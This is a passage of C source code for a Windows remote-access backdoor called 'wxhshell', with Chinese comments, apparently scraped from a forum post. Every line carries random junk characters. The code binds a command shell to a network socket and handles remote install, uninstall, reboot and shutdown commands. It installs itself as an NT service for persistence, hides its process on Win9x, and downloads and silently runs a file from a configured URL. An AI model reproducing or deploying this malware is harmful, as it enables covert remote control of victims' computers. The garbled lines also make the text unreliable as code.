  // 帮助 oMb&a0-7u  
  case '?': { M$jU-;hRH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _d[4EY  
    break; _Q**4  
  } q =\3jd  
  // 安装 }nsxo5WP  
  case 'i': { '%W`:K'  
    if(Install()) #nD]G#>e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #FZoi:'Q  
    else 4x2 ;@Pd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !08\w@  
    break; T 5AoBUw  
    } KW&vX%i(.  
  // 卸载 Z[, A>tJ  
  case 'r': { kBRy(?Mft&  
    if(Uninstall()) j>}<FW-N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  dcd9AW=  
    else +Fk]hCL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {o."T/?d'  
    break; _^k9!V jo  
    } @@ 1Sxv_  
  // 显示 wxhshell 所在路径 `|rr<Tsy\  
  case 'p': { [U^@Bkh  
    char svExeFile[MAX_PATH]; R5,ISD +s  
    strcpy(svExeFile,"\n\r"); ;Y^.SR"  
      strcat(svExeFile,ExeFile); ;VS\'#{e  
        send(wsh,svExeFile,strlen(svExeFile),0); (lz Z=T  
    break; oMUyP~1  
    } apkmb<  
  // 重启 Bvai  
  case 'b': { ~jpdDV&u\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j><8V Qx  
    if(Boot(REBOOT)) b9%G"?~Zz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X!AD]sK  
    else { GyVRe]<>B  
    closesocket(wsh); Edp%z"J;C  
    ExitThread(0); ,&q Q[i  
    } z'!sc"]W6  
    break; Ec/-f `8  
    } mu>L9Z~(L_  
  // 关机 oIJ.Tv@N(  
  case 'd': { < %t$0'  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >!gW]{  
    if(Boot(SHUTDOWN)) wn&5Ul9Elb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UNC%<=  
    else { ju8DmC5  
    closesocket(wsh); x\R%hGt  
    ExitThread(0); \Wn0,%x2  
    } $Lc-}m9n  
    break; }jI=*  
    } rIhe}1  
  // 获取shell H6vO}pq) r  
  case 's': { 6+iZJgwAy  
    CmdShell(wsh); gz~)v\5D/  
    closesocket(wsh); %8]~+ #]p  
    ExitThread(0); EQvZ(-_;4  
    break; ?j:g.a+U  
  } +vSp+X1E  
  // 退出 \G~<O071  
  case 'x': { ukAE7O(W&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XZew$Om[  
    CloseIt(wsh); )_H>d<di  
    break; -Z<V? SFOK  
    } q qFN4AO  
  // 离开 Q$B\)9`v[  
  case 'q': { ? JliKFD%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T:G8xI1 P  
    closesocket(wsh); 3yXSv1  
    WSACleanup(); sq;nUA=  
    exit(1); vyXL F'L  
    break; r/e} DYL&  
        } )C^@U&h&  
  } \:pd+8  
  } zir?13N7  
"P9SW?',  
  // 提示信息 W02t6DW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +DR,&;  
} iYR`|PJi  
  } 7FYq6wi  
vk K8D#K  
  return; *`WD/fG  
} :%2uZ/cG(  
?Dn 6  
// shell模块句柄 k "Qr  
int CmdShell(SOCKET sock) v*3tqT(%  
{ `}o{o  
STARTUPINFO si; 8n~ o="  
ZeroMemory(&si,sizeof(si)); G{!adBna  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #BOLq`9 f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6EY W:o  
PROCESS_INFORMATION ProcessInfo; 11Y4oS  
char cmdline[]="cmd"; <3WaFi u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rT/4w#_3  
  return 0; 8HxtmFqG  
} pY"&=I79tb  
&3~_9+  
// 自身启动模式 ;]A:(HSZj  
int StartFromService(void) U+7!Vpq  
{ C<"b99\2`  
typedef struct \1[v-hvK  
{ !`S61~gE  
  DWORD ExitStatus; KpF/g[m  
  DWORD PebBaseAddress; yE=tuHv(0  
  DWORD AffinityMask; !IAd.<,  
  DWORD BasePriority; yGZsPQIaV  
  ULONG UniqueProcessId; /~6)Vt  
  ULONG InheritedFromUniqueProcessId; dkI(&/  
}   PROCESS_BASIC_INFORMATION; d:GAa   
RuBL_Vi  
PROCNTQSIP NtQueryInformationProcess; 7Pp~)Kq=  
b[;Zl<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bm:N@wg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'M=c-{f~  
skzTw66W.  
  HANDLE             hProcess; M?I^Od'8  
  PROCESS_BASIC_INFORMATION pbi; 96 P3B}Dk  
s& Lyg>>`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w7"&\8a  
  if(NULL == hInst ) return 0; 88~ lP7J  
3^2P7$W=   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s{@3G8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j"wbq-n,7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q|&Wcxq2!  
nX\Q{R2  
  if (!NtQueryInformationProcess) return 0; biy[h3b  
GGF;4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "Wz74ble  
  if(!hProcess) return 0;  FtmI\,  
H;kk:s'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; { cMf_qQ  
r]yI5 ;  
  CloseHandle(hProcess); YH-+s   
FTT=h0t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y1s3 >`  
if(hProcess==NULL) return 0; jQRl-[n  
NoD\t(@h  
HMODULE hMod; ;{S7bH'6m  
char procName[255]; m[E#$JZtG  
unsigned long cbNeeded; y_A7CG"^  
w829 8Kl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^/_1y[j  
.In8!hjYy4  
  CloseHandle(hProcess); <h[l)-86  
u(bPdf@kz  
if(strstr(procName,"services")) return 1; // 以服务启动 o:nh3K/YJ  
b]XDfe  
  return 0; // 注册表启动 D! $4  
} ,W:Bh$%  
~ s# !\Ye  
// 主模块 le.(KgRS4  
int StartWxhshell(LPSTR lpCmdLine) bc ;(2D  
{ >^(Q4eU7!  
  SOCKET wsl; 3E`poE  
BOOL val=TRUE; q@8j[15  
  int port=0; &.`/ln  
  struct sockaddr_in door; ~vv\A5O[|  
QJKVNOo  
  if(wscfg.ws_autoins) Install(); mvrg!/0w  
Yh 9fIRR  
port=atoi(lpCmdLine); D`fi\A  
WlfS|/\%V^  
if(port<=0) port=wscfg.ws_port; ~G#^kNme  
BBUXoz  
  WSADATA data; i=DoK{`L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \[F4ooe  
L7 f'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WTZr{)e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +' f38D*  
  door.sin_family = AF_INET; 7.DAwx.HYK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bp:i[9w  
  door.sin_port = htons(port); BR[f{)a5  
fsVQZ$h73  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wU= @,K  
closesocket(wsl); oP( Hkp,'  
return 1; +w'{I`QIL0  
} <+2M,fq+  
jf'#2-   
  if(listen(wsl,2) == INVALID_SOCKET) { ]/C1pG*o  
closesocket(wsl); #6 yi  
return 1;  {@gTs  
} B\z4o\am%  
  Wxhshell(wsl); |[]"{Eo"}  
  WSACleanup(); k2S6 SB  
R9B!F{! 5  
return 0; |K%nVcR=  
Z*Qra4GBl]  
} |( =`l  
.sk$@Q  
// 以NT服务方式启动 1vF^<{%v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o]vU(j_Ju  
{ `1$7. ydQ  
DWORD   status = 0; m+J3t @$  
  DWORD   specificError = 0xfffffff; TLk=H Gw  
5YG?m{hyn_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @I '_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jm+hDZrW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }FTyRHD|  
  serviceStatus.dwWin32ExitCode     = 0; TCd1JF0  
  serviceStatus.dwServiceSpecificExitCode = 0; ~X/1%  
  serviceStatus.dwCheckPoint       = 0; !PzlrH)M=p  
  serviceStatus.dwWaitHint       = 0; n0T'"i[  
x@I(G "  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4oF8F)ASj  
  if (hServiceStatusHandle==0) return; ]B<Hrnn  
d2x|PpmH  
status = GetLastError(); s9wc ZO  
  if (status!=NO_ERROR) EEaf/D/jt  
{ ^]$x/1I;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 76\ir<1up  
    serviceStatus.dwCheckPoint       = 0; ;-d }\f ,  
    serviceStatus.dwWaitHint       = 0; lglC1W-q  
    serviceStatus.dwWin32ExitCode     = status; =-`}(b2N  
    serviceStatus.dwServiceSpecificExitCode = specificError; D! 1oYr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5_ @8g+~  
    return; `o 6Hm  
  } ;J~NfL  
?Mg&e/^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; () Z!u%j  
  serviceStatus.dwCheckPoint       = 0; `5:Wv b>|  
  serviceStatus.dwWaitHint       = 0; cp0@wC#d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8Vkw vc  
} h7NS9CgO  
jB*%nB*x  
// 处理NT服务事件,比如:启动、停止 ZkW,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a{7>7%[  
{ sS, Swgr  
switch(fdwControl) F#X&Tb{  
{ -bo5/`x  
case SERVICE_CONTROL_STOP:  eU"!X9  
  serviceStatus.dwWin32ExitCode = 0;  $&96qsr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8 'Z#sM^E  
  serviceStatus.dwCheckPoint   = 0; "r!O9X6  
  serviceStatus.dwWaitHint     = 0; !e?GS"L~  
  { O!}TZfC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (bxSN@hp2  
  } L\Uf+d:&}G  
  return; !F*7Mif_E  
case SERVICE_CONTROL_PAUSE: O+Fu zCWj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gRS}Y8  
  break; i2SR.{&  
case SERVICE_CONTROL_CONTINUE: ,F7W_f# @3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /R&!92I0*  
  break; y#5xS  
case SERVICE_CONTROL_INTERROGATE: #Mt'y8|}$  
  break; ugEh}3  
}; wuCiO;w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .(OFYK<  
} Gpws_ jw  
QCFLi n+r  
// 标准应用程序主函数  `Nn=6[]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z5re Fok  
{ NDW6UFd>1  
wfQ 6J0  
// 获取操作系统版本 D9M<>Xz)  
OsIsNt=GetOsVer(); O(8Px  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5:%xuJD  
37DyDzW)'  
  // 从命令行安装 5A,@$yp+  
  if(strpbrk(lpCmdLine,"iI")) Install(); W3s>+yU  
V?Y;.n&y  
  // 下载执行文件 6 eqxwj{S[  
if(wscfg.ws_downexe) { =EI>@Y"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V(mz||'*  
  WinExec(wscfg.ws_filenam,SW_HIDE); (+d7cln  
} +85i;gO5  
=m.Lw  
if(!OsIsNt) { v /{LC4BF  
// 如果时win9x,隐藏进程并且设置为注册表启动 luYkC@I@a  
HideProc(); kw&,<V77~  
StartWxhshell(lpCmdLine); A*jU&3#  
} M=$ qus  
else zdFO&YHTw  
  if(StartFromService()) ?El8:zt?|  
  // 以服务方式启动 _FXvJ}~m  
  StartServiceCtrlDispatcher(DispatchTable); f]MKNX  
else JsohhkJNGi  
  // 普通方式启动 cRPW  
  StartWxhshell(lpCmdLine); ;/w-7O:  
Q H:k5V~  
return 0; <rZ( B>$  
}
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只看该作者 1 发表于: 2006-10-10
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